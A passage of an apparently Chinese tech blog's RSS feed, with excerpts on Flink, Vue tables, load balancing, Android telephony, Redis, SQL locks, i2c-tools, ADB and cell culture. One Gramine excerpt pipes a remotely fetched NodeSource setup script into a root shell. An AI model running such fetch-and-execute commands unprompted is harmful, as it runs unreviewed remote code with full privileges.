bin/stop-cluster.sh 查看更多可用的配置项: Apache Flink 1.5 Documentation: Configuration&#xA;以下都是非常重要的配置项：&#xA;1、 TaskManager总共能使用的内存大小（taskmanager.heap.mb） 2、每一台机器上能使用的 CPU 个数（taskmanager.numberOfTaskSlots） 3、集群中的总 CPU个数（parallelism.default） 4、临时目录（ taskmanager.</description>
    </item>
    <item>
      <title>element plus 表格el-table行多选单选</title>
      <link>https://bchobby.github.io/posts/5049e459039a062bb20eab0f335ac833/</link>
      <pubDate>Mon, 18 Dec 2023 10:31:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5049e459039a062bb20eab0f335ac833/</guid>
      <description>1 行多选-点击checkbox 添加一个 el-table-column，设 type 属性为 selection 即可&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; @selection-change=&#34;handleSelectionChange&#34;&amp;gt; &amp;lt;el-table-column type=&#34;selection&#34; width=&#34;55&#34; /&amp;gt; &amp;lt;el-table-column prop=&#34;id&#34; label=&#34;Id&#34; width=&#34;180&#34; /&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;Name&#34; width=&#34;180&#34; /&amp;gt; &amp;lt;el-table-column prop=&#34;age&#34; label=&#34;Age&#34; /&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;div&amp;gt;选择结果： {{ multipleSelection }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; const tableData = [ { id: 1, name: &#34;张三&#34;, age: 10, }, { id: 2, name: &#34;李四&#34;, age: 11, }, { id: 3, name: &#34;王五&#34;, age: 12, }, { id: 4, name: &#34;</description>
    </item>
    <item>
      <title>关于负载均衡器您需要了解和执行的所有操作</title>
      <link>https://bchobby.github.io/posts/44bf212cf4c648c4454c39dda61092b7/</link>
      <pubDate>Mon, 18 Dec 2023 10:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44bf212cf4c648c4454c39dda61092b7/</guid>
      <description>嗨，我是 Roman，一位在 Gart 拥有超过 15 年经验的云架构师。今天，我想与你们一起深入探讨负载均衡器的世界。简单来说，负载均衡器就像是互联网的交通警察。&#xA;它的主要任务？将传入的网络流量分配给多个服务器。但我们不要试图一口吃掉这头大象；我们将一步步、一块块地品尝它。我将把这个复杂的话题分解成易于理解的小部分。&#xA;准备好深入了解了吗？&#xA;负载均衡器的工作原理 好吧，让我们揭开负载均衡器工作的神秘面纱。把它们想象成网络流量的指挥家。当你有多个服务器时，负载均衡器就介入并决定谁得到什么。它就像在繁忙城市中扮演交通警察的角色，但处理的是数据。&#xA;当你的网站成为城镇中最热门的地方时，大量访客开始涌入。负载均衡器看着传入的流量说：“你去服务器 A，你去服务器 B，你去服务器 C。”&#xA;负载均衡器并不是随机分配流量的；它们很聪明地处理。它们检查每台服务器的工作负载，确保没有服务器被压垮。&#xA;负载均衡的核心过程涉及在一组服务器（通常称为服务器农场或集群）之间高效分配传入请求。这确保了没有单一服务器被流量压垮，而其他服务器则未被充分利用。负载均衡可以在 OSI 模型的不同层实施，包括应用层、传输层和网络层，具体取决于系统的具体要求和架构。&#xA;负载均衡器采用各种算法在服务器之间分配传入流量，以优化性能和资源利用。一种常见的方法是循环算法，其中每个新请求被指向接下来的服务器，形成一个循环。这种简单的方法确保了流量的相对均匀分配，但可能不考虑每台服务器的实际负载或容量。&#xA;更复杂的算法，如最少连接或加权循环，考虑了服务器负载、响应时间和服务器容量等因素。最少连接将流量引导至活动连接最少的服务器，而加权循环则根据每台服务器的容量分配权重，实现工作负载更细致的分配。&#xA;此外，一些负载均衡器可以执行基于内容的路由，考虑传入请求的特定特征，如 URL 模式或请求类型。这允许根据请求的性质更智能地分配流量，优化专业服务器资源的利用。&#xA;硬件负载均衡器 硬件负载均衡器是负载均衡世界中的肌肉车。它们是实体设备，为处理繁重工作而设计。想象一下一台专用的、健壮的机器坐落在你的服务器室中，协调着流量。这些野兽完全是关于原始力量，并配备了专门的硬件以优化性能。&#xA;优点 性能野兽：硬件负载均衡器可以轻松处理大量流量。 专用硬件：由于它们是独立设备，通常配备专用处理器和内存，确保最佳性能。 可靠性：较不易受到软件缺陷或操作系统怪癖的影响。 缺点 成本：强大的性能伴随着高昂的价格。 可扩展性挑战：扩展可能意味着需要新的硬件均衡器，这并不总是轻而易举的。 灵活性：配置这些野兽有时感觉像驾驶油轮一样；它们功能强大，但操纵需要时间。 软件负载均衡器 软件负载均衡器是负载均衡领域的数字变色龙。与硬件版本不同，这些是代码，通常运行在标准服务器或虚拟机上。它们为派对带来了灵活性，像经验丰富的变形者一样适应数字化环境。&#xA;优点 成本效益：软件负载均衡器通常与现有基础设施兼容，为你节省了不少现金。 可扩展性：需要处理更多流量？没问题。在虚拟环境中启动更多实例即可扩展。 可配置性：无需硬件改造即可调整和优化设置。 缺点 资源利用：由于它们与同一服务器上的其他应用程序共享资源，高峰时期性能可能会受到影响。 复杂性：与硬件版本相比，设置和微调软件负载均衡器可能需要更多的技术知识。 在硬件和软件之间的拉锯战中，通常取决于你的具体需求、预算以及你试图导航的数字交通堵塞类型。明智选择，我的朋友。&#xA;负载均衡算法 循环赛&#xA;想象一下一场友好的传递包裹游戏。循环法以循环顺序在服务器之间平均分配传入流量。非常适合所有服务器在处理能力方面几乎相同的场景。这就像“每个人都有机会”的策略。虽然循环法易于实现且透明，但它可能不会考虑服务器负载或容量的变化，从而可能导致资源利用率不理想。&#xA;最少连接数&#xA;该算法将新连接发送到活动连接最少的服务器。这就像在杂货店挑选队伍最短的收银员一样。非常适合服务器负载变化的情况，确保每个服务器具有相似数量的活动连接。&#xA;最短响应时间&#xA;这种智能算法将流量引导至响应时间最快的服务器。这就像在收费站选择快速车道一样。非常适合通过向能够最快处理请求的服务器发送请求来优化用户体验。&#xA;加权循环赛&#xA;这是循环法的升级版本，它为每个服务器分配一个“权重”，确定其流量比例。这就像为可以处理更重负载的服务器提供更多票证一样。当服务器具有不同的容量，并且您希望根据其容量分配流量时。&#xA;加权最少连接数&#xA;与最少连接类似，但具有权重因子。它将新连接发送到具有最少加权连接的服务器。当服务器具有不同的容量并且您希望根据它们的相对优势平衡负载时很有用。&#xA;每种算法的比较和用例 循环法与最少连接：如果服务器相似，则循环法是一个简单的选择。如果没有，请选择“最少连接”以更智能地分配负载。&#xA;最短响应时间与加权循环：如果响应时间最重要，请使用最短响应时间。如果您有不同的服务器容量，请选择加权循环来有效平衡负载。&#xA;选择正确的算法就像为工作选择正确的工具一样。每种技术都有其优点，因此关键在于了解服务器的功能和流量的性质。&#xA;负载均衡器使用的常用协议 协议描述HTTP/HTTPS网络通讯基础；HTTPS 添加了加密以确保数据传输安全。传输控制协议确保互联网上数据的可靠传输；对于各种应用程序和服务至关重要。UDP协议适用于视频流和在线游戏等实时应用的轻量级协议。SSL/TLSSSL 建立安全连接；其后继者 TLS 可确保传输过程中的数据加密传输。 HTTP（超文本传输协议）&#xA;万维网上数据通信的基础。分配 Web 流量的负载均衡器通常处理HTTP请求。将其视为浏览器在请求网页时使用的语言。&#xA;HTTPS（安全超文本传输协议）</description>
    </item>
    <item>
      <title>Flink集群部署--Standalone模式</title>
      <link>https://bchobby.github.io/posts/c65ee44f01e3e71267207ce7aa5e9228/</link>
      <pubDate>Mon, 18 Dec 2023 10:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c65ee44f01e3e71267207ce7aa5e9228/</guid>
      <description>参考文章：在CDH集群安装Flink&#xA;1. 下载安装包 查看自己的hadoop版本和scala版本, 这里是hadoop 2.6, scala 2.11&#xA;wget https://archive.apache.org/dist/flink/flink-1.7.2/flink-1.7.2-bin-hadoop26-scala_2.11.tgz 2. 解压 tar -zxf flink-1.7.2-bin-hadoop26-scala_2.11.tgz 3. 配置 flink-1.7.2/conf/flink-conf.yaml&#xA;选择一个 master节点(JobManager)然后在conf/flink-conf.yaml中设置jobmanager.rpc.address 配置项为该节点的IP 或者主机名。&#xA;# 配置主节点主机名 jobmanager.rpc.address: test-hadoop1 # The RPC port where the JobManager is reachable. jobmanager.rpc.port: 6123 # The heap size for the JobManager JVM jobmanager.heap.size: 1024m # The heap size for the TaskManager JVM taskmanager.heap.size: 5024m # The number of task slots that each TaskManager offers. Each slot runs one parallel pipeline.</description>
    </item>
    <item>
      <title>gramine运行nodejs的环境配置问题</title>
      <link>https://bchobby.github.io/posts/895966f16d4fb385a9c161cb702ca897/</link>
      <pubDate>Mon, 18 Dec 2023 08:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/895966f16d4fb385a9c161cb702ca897/</guid>
      <description> gramine需要使用makefile编译，&#xA;但是ubuntu自带的apt-get所使用的nodejs版本过低，而nodejs源码编译js的路径，使用软链接到/usr/bin似乎无法被gramine使用。&#xA;只有使用自带的apt-get方法，安装的nodejs才能被gramine识别到作为代码解释器。&#xA;因此需要下载脚本修改apt-get，通过apt-get下载大于v14的nodejs，才能正确在gramine中使用web3.js&#xA;使用脚本&#xA;sudo curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash - apt-get安装nodejs&#xA;sudo apt-get install -y nodejs </description>
    </item>
    <item>
      <title>通话状态监听-Android13</title>
      <link>https://bchobby.github.io/posts/7eeb0d7651be99bf65463a854c7795af/</link>
      <pubDate>Sun, 17 Dec 2023 23:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7eeb0d7651be99bf65463a854c7795af/</guid>
      <description>通话状态监听-Android13 1、Android Telephony 模块结构2、监听和广播获取通话状态2.1 注册2.2 通话状态通知2.3 通话状态 3、通知状态流程* 关键日志 frameworks/base/core/java/android/telephony/PhoneStateListener.java 1、Android Telephony 模块结构 Android Telephony 模块结构简析&#xA;Android Telephony 模块结构简析&#xA;Telecom 框架概览&#xA;Dialer.apk： /product/priv-app/Dialer/Dialer.apk、packages/apps/DialerTelecom.apk： /system/priv-app/Telecom/Telecom.apk、packages/service/telecommTeleService.apk： /system/priv-app/TeleService/TeleService.apk、packages/service/telephony&#xA;framework.jar： frameworks/base/telecomm、frameworks/base/telephony&#xA;telephony-common.jar： frameworks/opt/telephony&#xA;vendor.ril-daemon： hardware/ril 2、监听和广播获取通话状态 主要查看 framework.jar 代码&#xA;2.1 注册 PhoneStateListener注册：最终调用TelephonyRegistry.java#listenWithEventList添加到ArrayList&amp;lt;Record&amp;gt; mRecords&#xA;packages/apps/Dialer/java/com/android/incallui/InCallPresenter.java this.context .getSystemService(TelephonyManager.class) .listen(phoneStateListener, PhoneStateListener.LISTEN_CALL_STATE); 广播注册：public static final String ACTION_PHONE_STATE_CHANGED = &#34;android.intent.action.PHONE_STATE&#34;;，权限android.permission.READ_PHONE_STATE&#xA;packages/apps/Dialer/java/com/android/dialer/dialpadview/DialpadFragment.java if (callStateReceiver == null) { IntentFilter callStateIntentFilter = new IntentFilter(TelephonyManager.ACTION_PHONE_STATE_CHANGED); callStateReceiver = new CallStateReceiver(); getActivity().registerReceiver(callStateReceiver, callStateIntentFilter); } / private class CallStateReceiver extends BroadcastReceiver { /** * Receive call state changes so that we can take down the &#34;</description>
    </item>
    <item>
      <title>C语言预处理详解及其指令</title>
      <link>https://bchobby.github.io/posts/6f6f6b10716adbf13a7c939f92f1ee54/</link>
      <pubDate>Sun, 17 Dec 2023 23:16:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f6f6b10716adbf13a7c939f92f1ee54/</guid>
      <description>预处理详解 1.预定义符号2.#define定义常量基本使用方法举例子如果在define定义的表示符后面加上分号会发生什么？用一下来解释 3. #define定义宏举例例1例2 4. 带有副作用的宏参数例如: 5. 宏替换的规则6. 宏函数的对比宏和函数的一个对比 7. #和##7.1 #运算符7.2 ## 运算符例如使用宏，定义不同函数 8. 宏命名约定9. #undef例如以下代码： 10.条件编译常见的条件编译指令 1.预定义符号 C语言设置了一些预定义符号，可以直接使用，预定义符号也是在预处理期间处理的。&#xA;__FILE__ //进⾏编译的源⽂件 __LINE__ //⽂件当前的⾏号 __DATE__ //⽂件被编译的⽇期 __TIME__ //⽂件被编译的时间 __STDC__ //如果编译器遵循ANSI C，其值为1，否则未定义 这个代码在vs上面是不可以使用的 int main() { printf(&#34;%s\n&#34;, __FILE__); printf(&#34;%d\n&#34;, __LINE__); printf(&#34;%s\n&#34;, __DATE__); printf(&#34;%s\n&#34;, __TIME__); //printf(&#34;%s\n&#34;, __STDC__);//vs不支持 return 0; } 以下是运行结果：&#xA;__FILE__:是打印当前文件的路劲&#xA;__LINE__:打印当前代码所对应的行号&#xA;__DATE__:打印的是当前的日期&#xA;__TIME__:打印的是当前的时间&#xA;2.#define定义常量 基本使用方法 #define name stuff name是变量名， stuff预定以后的名字&#xA;举例子 #define MAX 1000 #define reg register //为 register这个关键字，创建⼀个简短的名字 #define do_forever for(;;) //⽤更形象的符号来替换⼀种实现 #define CASE break;case //在写case语句的时候⾃动把 break写上。 // 如果定义的 stuff过⻓，可以分成⼏⾏写，除了最后⼀⾏外，每⾏的后⾯都加⼀个反斜杠(续⾏符)。 #define DEBUG_PRINT printf(&#34;</description>
    </item>
    <item>
      <title>Redis系列之事务机制</title>
      <link>https://bchobby.github.io/posts/321f9c50f306bcaf10ad380116540b8b/</link>
      <pubDate>Sun, 17 Dec 2023 21:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/321f9c50f306bcaf10ad380116540b8b/</guid>
      <description>什么是Redis事务 学习mysql数据库的时候，我们知道了事务的ACID特性，Redis也是支持事务的，不过和数据库的事务又有什么区别？在mysql数据库中，我们使用begin开启事务，提交是commit，回滚是rollback，然后Redis中的事务是怎么一回事？redis的事务其实可以看做是一组命令按照顺序，串行执行队列中的命令，其它客户端的命令不会写入到这个队列中。总的来说，redis事务就是一次性、顺序性、排他性的执行一个队列中的一组命令&#xA;redis事务相关命令和使用 MULTI 、 EXEC 、 DISCARD 和 WATCH、UNWATCH命令是redis实现事务需要的命令&#xA;multi：开启事务，事务开启后，事务中的多条命令会排队，等事务提交discard：取消事务，放弃执行队列里的所有命令exec：执行事务里的所有命令watch：监控一个或者多个key，如果事务提交之前，这个key被其它客户端修改了，这个事务就不会提交unwatch： 取消watch对所有key的监视 redis事务例子 正常的事务执行过程 127.0.0.1:0&amp;gt;multi &#34;OK&#34; 127.0.0.1:0&amp;gt;incr testid &#34;QUEUED&#34; 127.0.0.1:0&amp;gt;exec 1) &#34;1&#34; 语法错误导致的事务回滚 127.0.0.1:0&amp;gt;multi &#34;OK&#34; 127.0.0.1:0&amp;gt;incr testid &#34;QUEUED&#34; 127.0.0.1:0&amp;gt;seta a &#34;ERR unknown command `seta`, with args beginning with: `a`, &#34; 127.0.0.1:0&amp;gt;exec &#34;EXECABORT Transaction discarded because of previous errors.&#34; 对string类型进行incr&#xA;对一个key先设置为string类型的，然后使用incr命令进行递增，再提交事务，出现错误 127.0.0.1:0&amp;gt;set testid aa &#34;OK&#34; 127.0.0.1:0&amp;gt;multi &#34;OK&#34; 127.0.0.1:0&amp;gt;incr testid &#34;QUEUED&#34; 127.0.0.1:0&amp;gt;exec 1) &#34;ERR value is not an integer or out of range&#34;</description>
    </item>
    <item>
      <title>ADB命令安装卸载手机APP</title>
      <link>https://bchobby.github.io/posts/035c03fca34c1c20cbbb0c0d3628e6c9/</link>
      <pubDate>Sun, 17 Dec 2023 21:50:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/035c03fca34c1c20cbbb0c0d3628e6c9/</guid>
      <description>前言 手机内置的浏览器很多广告，推荐的新闻也很多负面的新闻，所以就想卸载内置的手机app，不过现在很多手机都是限制了内置的软件都不能卸载，以前随便获取一下root权限，也是可以卸载的，不过最近搞了一下，发现现在root权限这么难获取，所以就只能另外寻方法了，去网上搜了一下，发现可以使用adb命令来卸载内置软件，不需要root权限&#xA;ADB是什么？ 通过网上找资料，在AndroidStudio开发者网找到相关资料：引用官网解释，当个了解熟悉就可以，看不懂也没关系的，不是开发人员了解就行&#xA;Android 调试桥 (adb) 是一种功能多样的命令行工具，可让您与设备进行通信。adb 命令可用于安装和调试，并提供对 Unix shell的访问权限。它是一种客户端-服务器程序，包括以下三个组件：&#xA;客户端：用于发送命令。客户端在开发计算机上运行。您可以通过发出 adb 命令从命令行终端调用客户端。守护程序 (adbd)：用于在设备上运行命令。守护程序在每个设备上作为后台进程运行。服务器：用于管理客户端与守护程序之间的通信。服务器在开发机器上作为后台进程运行。 环境准备 win7系统ADB 1.0.32adb driver(32/64位)国产安卓手机 安装ADB驱动 因为win7操作系统默认没安装ADB驱动的，所以需要先检查ADB驱动是否安装，选择“我的电脑”-&amp;gt;右键-&amp;gt;设备管理，如图，如果出现类似的带黄色图标的，说明ADB驱动没安装&#xA;可以去下载一下adb驱动，网上搜索一下，可以去51脚本网站下载一个驱动https://www.jb51.net/softs/538237.html&#xA;选择ADB Interface，右键-&amp;gt;更新驱动程序软件&#xA;这里直接浏览计算机本地的，找到刚才下载的驱动安装&#xA;安装成功之后，是会显示如图，说明安装成功&#xA;开发者模式开启 需要有一条usb数据线，连接笔记本电脑，不同的手机开发者模式开启不一样，这里是设置-&amp;gt;关于手机，然后连续点版本号的文字，就会进入开发者模式，然后退出，在系统和更新选项里，找到开发人员选项，进入开发者模式，开启，同时开启usb调试&#xA;使用ADB 如下ADB下载链接：&#xA;https://dl.lancdn.com/landian/tools/adb/adb%2Bdriver.zip&#xA;下载好之后，解压adb+driver压缩文件到一个文件夹里，如图输入cmd回车：&#xA;Microsoft Windows [版本 6.1.7601] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 // 校验adb是否安装成功 D:\adbDriver&amp;gt;.\adb devices adb server is out of date. killing... * daemon started successfully * List of devices attached B6LJLFLFPZ4DQKCU device // 进入shell命令 D:\adbDriver&amp;gt;.\adb shell // 卸载oppo自带浏览器 oppo4版本是com.</description>
    </item>
    <item>
      <title>【sprintboot&#43;vue3】解决前后端分离项目遇到的问题</title>
      <link>https://bchobby.github.io/posts/ace46c57ae64084a4f3d9dd7ecfd633e/</link>
      <pubDate>Sun, 17 Dec 2023 21:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ace46c57ae64084a4f3d9dd7ecfd633e/</guid>
      <description>目录&#xA;一、Access to XMLHttpRequest at &#39;http://127.0.0.1:8088/api/hello&#39; from origin &#39;http://localhost:5173&#39; has been blocked by CORS policy: No &#39;Access-Control-Allow-Origin&#39; header is present on the requested resource.&#xA;二、报错[@vue/compiler-sfc] 一、Access to XMLHttpRequest at &#39;http://127.0.0.1:8088/api/hello&#39; from origin &#39;http://localhost:5173&#39; has been blocked by CORS policy: No &#39;Access-Control-Allow-Origin&#39; header is present on the requested resource. 报错：&#xA;原因：来自一个IP端口的页面（前端项目），要访问另一个IP端口的资源（springboot请求接口），会产生跨域访问。跨域问题导致的。&#xA;解决：&#xA;二、报错[@vue/compiler-sfc] &amp;lt;script&amp;gt; and &amp;lt;script setup&amp;gt; must have the same language type. 原因：在Uniapp + Vue2 项目升级到 Vue3+Ts时，如果&amp;lt;script&amp;gt;使用了setup语法糖，则无法用export default 导出 App.</description>
    </item>
    <item>
      <title>SQL进阶理论篇（十）：数据库中的锁</title>
      <link>https://bchobby.github.io/posts/bf742c1bbd87fa5cdfcef628e59a1d8d/</link>
      <pubDate>Sun, 17 Dec 2023 20:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf742c1bbd87fa5cdfcef628e59a1d8d/</guid>
      <description>文章目录 简介按照锁的粒度进行划分从数据库管理的角度进行划分从程序员的角度进行划分为什么共享锁会发生死锁？参考文献 简介 索引和锁，是数据库中的两个核心知识点。&#xA;索引的相关知识点，在之前的几章里我们已经介绍的差不多了。接下来我们会重点讲解一下锁的相关知识。&#xA;事务的隔离级别，在底层就是通过锁来实现的。而加锁的目的，就是为了保证数据的一致性。&#xA;本节我们将重点描述以下几个问题：&#xA;锁有哪些划分方式？为什么共享锁会发生死锁？乐观锁和悲观锁的思想是什么？乐观锁有哪两种实现方式？多个事务并发，发生死锁时该如何解决？如何降低死锁发生的概率？ 按照锁的粒度进行划分 锁是用来对数据进行锁定的。我们可以根据被锁定对象的粒度大小来对锁进行划分，即：行锁、页锁和表锁。&#xA;行锁，按照行粒度对数据进行锁定。由于锁定力度小，所以发生锁冲突的概率低，理论上可以实现的并发度很高。但是按行加锁，对资源的消耗太大了，而且加锁也比较慢，容易出现死锁现象。&#xA;页锁，就是在页的粒度上对数据进行锁定。因为一个页上可以有很多数据行，所以在使用页锁的时候，很容易会出现数据浪费的情况（即使只是想锁小部分数据，也得锁上一整页），但是这种浪费有限，顶多就是浪费个几页。页锁的开销介于行锁和表锁之间，会出现死锁，并发度一般。&#xA;表锁，就是对数据表进行锁定。其锁定粒度很大，出现锁冲突的概率也很高，对并发的影响较大。好处是加锁的开销小，加锁很快。&#xA;以上三类锁是数据库中相对常见的三种锁，除此之外其实还有区锁和数据库锁，分别针对区和数据库的粒度。&#xA;不同的数据库或者不同的引擎支持的锁粒度并不相通。以MySQL为例，InnoDB支持行锁和表锁，但MyISAM只支持表锁，BDB引擎则支持页锁和表锁。Oracle支持行锁和表锁，SQLServer同时支持行锁、页锁和表锁。教程里整理的图如下：&#xA;需要注意，在实际使用中，每个层级的锁数量是有限的，因为锁会占用内存空间，所以锁空间的大小是有限的。&#xA;当某个层级的锁数量超过了这个层级的阈值时，就会进行 锁升级。所谓的锁升级，就是将多个细粒度的锁升级成一个更大粒度的锁。比如说在InnoDB中，将多个行锁换成一个表锁，从而减少锁空间的内存占用，当然，代价是并行度降低了。&#xA;从数据库管理的角度进行划分 从数据库管理的角度来划分的话，就是我们经常会见到的两种锁：共享锁和排它锁。&#xA;共享锁，也叫做读锁或者S锁。共享锁锁定的数据可以被其他事务读取，但是不能修改。&#xA;在进行select的时候，就会把对象进行共享锁锁定，待到数据读取完毕后，才释放共享锁。这样子可以保证数据在读取时不会被修改。&#xA;我们也可以手动给某个对象加锁。&#xA;比如说给一个表加共享锁，可以使用：&#xA;LOCK TABLE product_comment READ; 这时候这张表就是只读模式了，如果此时再执行update语句，会提示：&#xA;ERROR 1099 (HY000): Table &#39;product_comment&#39; was locked with a READ lock and can&#39;t be updated 解锁的话，可以使用：&#xA;UNLOCK TABLE product_comment; 如果是想给某一行加上共享锁，则可以写成这样：&#xA;SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE user_id = 912178 LOCK IN SHARE MODE 排它锁，也叫做独占锁、写锁或者X锁。其锁定的数据只允许进行锁定的事务使用，其他事务无法对已锁定的数据进行读取或者修改。&#xA;比如给一个表添加排它锁，可以这么写：&#xA;lock table product_comment write; 此时，其他事务就不能在这张表上读或者更新了，有兴趣可以开两个MySQL客户端试一下。</description>
    </item>
    <item>
      <title>Linux下I2C调试工具--for--Zynq MPSOC/Jetson Xavier</title>
      <link>https://bchobby.github.io/posts/1aac683120120c9fc4525ad0b4c8bca5/</link>
      <pubDate>Sun, 17 Dec 2023 20:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aac683120120c9fc4525ad0b4c8bca5/</guid>
      <description>Linux下I2C调试工具 1、简介 i2c-tools是一个专门调试i2c的工具，无需编写任何代码即可轻松调试I²C设备，可获取挂载的设备及设备地址，还可以在对应的设备指定寄存器设置值或者获取值等功能。i2c-tools有如下几个常用测试命令i2cdetect, i2cdump, i2cget, i2cset,i2ctransfer。&#xA;2、i2c-tools工具安装 2.1、Jetson xavier/orin下安装&#xA;sudo apt-get install libi2c-dev i2c-tools 2.2、Zynq MPSOC下安装&#xA;使用如下命令勾选i2c-tools工具：&#xA;使用petalinux 进入文件系统&#xA;petalinux-config -c rootfs 进入Filesystem Packages&#xA;进入base&#xA;进入i2c-tools&#xA;勾选i2c-tools工具&#xA;重新编译系统&#xA;petalinux build 3、i2c-tools工具使用&#xA;3.1、i2cdetect&#xA;功能：用于检测SOC设备上的i2c总线数量和挂载在i2c总线上的器件。&#xA;命令：i2cdetect -l&#xA;命令：i2cdetect -r -y 0 //检测i2c-0的挂载情况&#xA;3.2、i2cdump&#xA;功能：dump i2c设备中所有的数据。&#xA;i2cdump -f -y 0 0x1e b 用i2cdump查看挂载在i2c 0 总线上器件地址为0x1e的所有寄存器值&#xA;3.3、i2cget&#xA;功能：获取指定i2c设备中指定地址的数据．&#xA;命令：i2cget -f -y 0 0x1b 0x02 //显示I2C 0号总线上0x1b设备0x02寄存器地址，按字节读取&#xA;3.4、i2cset&#xA;功能：设置指定i2c设备中指定地址的数据。&#xA;命令：i2cget -f -y 0 0x1b 0x20 0x01 //设置I2C 0号总线上0x1b设备0x20寄存器地址的值为0x01</description>
    </item>
    <item>
      <title>细胞培养——细胞传代</title>
      <link>https://bchobby.github.io/posts/bbeabd52fbe49612604e86d998d800aa/</link>
      <pubDate>Sun, 17 Dec 2023 19:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbeabd52fbe49612604e86d998d800aa/</guid>
      <description>主要涉及到的溶液有四种：&#xA;DMSO+细胞培养液的冷冻液（1：9的DMSO和细胞培养液，e.g. 0.4mL DMSO + 3.6mL 细胞培养液）细胞培养液（10%胎牛血清，1%青链霉素）PBS（磷酸盐缓冲液）胰蛋白酶 x.1 细胞孵化（以A594为例） 细胞存储在容量为1mL的冷冻管内（管内装有DMSO甘油和细胞营养液），放在液氮中低温保存（-80度）。&#xA;戴好手套，取出液氮中保存的细胞，放进到37度水中水浴加热，等到无菌管内冰块融化。&#xA;从冰箱中取出装有细胞培养液的试管，用酒精消毒手套和试管后，将试管放置到细胞培养箱等待15min，等到细胞培养液恢复到37度的合适温度。&#xA;关闭超净台的杀菌，打开照明，打开通风，带好手套，每次将手伸入细胞培养箱和超净台时候都需要将手套和器具用酒精消毒。&#xA;在超净台中，将1mL冷冻管内细胞移至细胞培养瓶中（可以分装，仍然按照1：7或者1：8的配比加入细胞培养液），加入7-8mL细胞营养液（why？），放入到37度+5%CO2的细胞培养箱中培养4h，等待细胞贴壁完成（用显微镜观察）。&#xA;细胞贴壁后，倒掉细胞培养瓶中的细胞营养液（因为DMSO对细胞有毒），加入4mL细胞营养液培养2天左右后进行传代，在瓶子上记录好时间，并记录第一代。&#xA;将瓶子放入到细胞培养箱中培养。将超净台的废液和用完的物品丢弃，将纸喷上酒精后，从内向外擦拭；关闭通风，照明，打开杀菌，将超净台玻璃关上。&#xA;x.2 细胞传代 等待2天-7天。戴好手套，对手套消毒后，取出细胞培养箱中的上一次传代的亲代细胞，在显微镜下观察细胞是否已经大量贴壁，如果已经大量贴壁则进行传代。&#xA;戴好手套，从冰箱中取出PBS，细胞培养液，胰蛋白酶，对试管和手套消毒后，将试管放到细胞培养箱中等待15min左右等待液体恢复到37摄氏度。&#xA;关闭超净台的杀菌，打开照明，打开通风，带好手套，每次将手伸入细胞培养箱和超净台时候都需要将手套和器具用酒精消毒。&#xA;消毒，将需要的试管和装有亲代细胞的细胞培养皿取出，放入超净台中，晃一晃细胞培养皿（把死细胞晃散），将亲代细胞中的细胞培养液全部倒掉。&#xA;加入2mL的PBS（为了将培养液去除，细胞培养液和胰蛋白酶是相冲的），晃一晃后将PBS倒掉。&#xA;加入1~2mL的胰蛋白酶，s.t. 贴壁细胞完全覆盖，将细胞培养皿放入到恒温培养箱中等待2min（这个步骤需要快速，为了让80%的贴壁细胞还有小尾巴粘在培养皿上悬浮，20%细胞完全脱离）。&#xA;取出培养皿，用显微镜观察，如果80%细胞仍然贴壁且悬浮，则直接进行下一步，如果有大量细胞完全脱离，则进行下面的补救措施。&#xA;假设：前面加入的是2mL的胰蛋白酶，则此步溶液的全部体积为2mL。 取出上清液1mL，1mL，分别加入到离心管中，离心装置需要成对配比旋转。 将离心管以500rpm，25摄氏度旋转5min。 取出离心管，丢弃上清液后，加入1mL细胞培养液，摇晃离心管使得沉淀的细胞溶解。 将2mL全部的溶液加入到细胞培养皿中，摇晃均匀后，再按需求（如每1mL）装到原细胞培养皿中。 如果没有大量细胞完全脱离，则将细胞培养皿中的胰蛋白酶溶液全部倒掉后，再加入4mL细胞培养液，使用5mL枪管或者移液枪将培养液吸起来后，先用力击打瓶壁（s.t. 贴壁细胞下来），再用力击打瓶底三四次（s.t. 打散），在显微镜下观察，直到细胞全部悬浮后，去除头0.5mL和尾0.5mL，再从中取1mL的细胞培养液分别封装到3-4个细胞培养皿中，再加入3mL的细胞培养液，使得每一个细胞培养皿中的总容量为4mL；在细胞培养皿上记录时间和传代次数。&#xA;将细胞培养皿存放到恒温培养箱中进行培养2天后再传代。</description>
    </item>
    <item>
      <title>git教程（基于vscoede）</title>
      <link>https://bchobby.github.io/posts/9c24f7fb18b42383908fcae0c2bcdfb6/</link>
      <pubDate>Sun, 17 Dec 2023 18:15:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c24f7fb18b42383908fcae0c2bcdfb6/</guid>
